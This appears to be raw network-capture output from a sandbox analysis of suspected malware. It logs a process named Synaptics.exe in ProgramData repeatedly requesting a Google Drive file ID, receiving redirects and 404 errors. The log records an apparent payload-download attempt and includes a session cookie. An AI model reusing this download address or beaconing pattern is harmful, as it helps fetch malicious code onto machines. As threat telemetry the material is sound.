2024-12-30 10:36:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-dpSD5JPz25fliiMZUKuhRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49916	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:31 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5kOVb6EiQlqtJQDYGI0ZmvdSbNulljCgX2ZpsbiuSwJMMTy-vMpfLsrD5Hzn8xqVq2NHTkjeE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:31 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-2vVI3D0txNiowbpljG4p6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:31 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:31 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 34 6b 32 65 2d 48 74 4f 33 41 77 44 52 67 6a 77 65 76 4c 4a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="34k2e-HtO3AwDRgjwevLJg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:31 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49917	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-izJl37RrWgjVE6QzbFsxxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49918	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:31 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:31 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5OGUATBHgrtDcHSnYYu6lCvyUGhv2fCV21VFJ_jizsWf9ECfgEuTekPiiDXLPZBHpVs9jr4KE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:31 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-feFVvzDZNrhSDYsxHwz6nQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:31 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:31 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 6e 7a 72 73 61 4f 72 79 72 35 77 55 63 36 32 50 71 39 34 4e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="VnzrsaOryr5wUc62Pq94Ng">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:31 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49921	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:31 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49925	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-CHzheNQkrxze134GkDt2gw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49926	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-JoZAYCrrtODD6vaneAg3Dg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49929	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-mE5i4ImuhD-_9AcHxbFR5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49928	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:33 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:34 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4EzsRKrBu9FhKt6J3CUuMh9W5cow9zHzfUe2dRlTHUuR0aqMykNB-nVo3iScPTbDHA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:33 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5Sp1dFGG0iWXwbcPEsMLAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:34 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 63 68 63 68 69 39 71 4c 70 6d 75 63 75 67 7a 51 48 50 72 79 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Ychchi9qLpmucugzQHPryQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49931	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QrFB2NpY8-qgzlU9Jr-Iyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
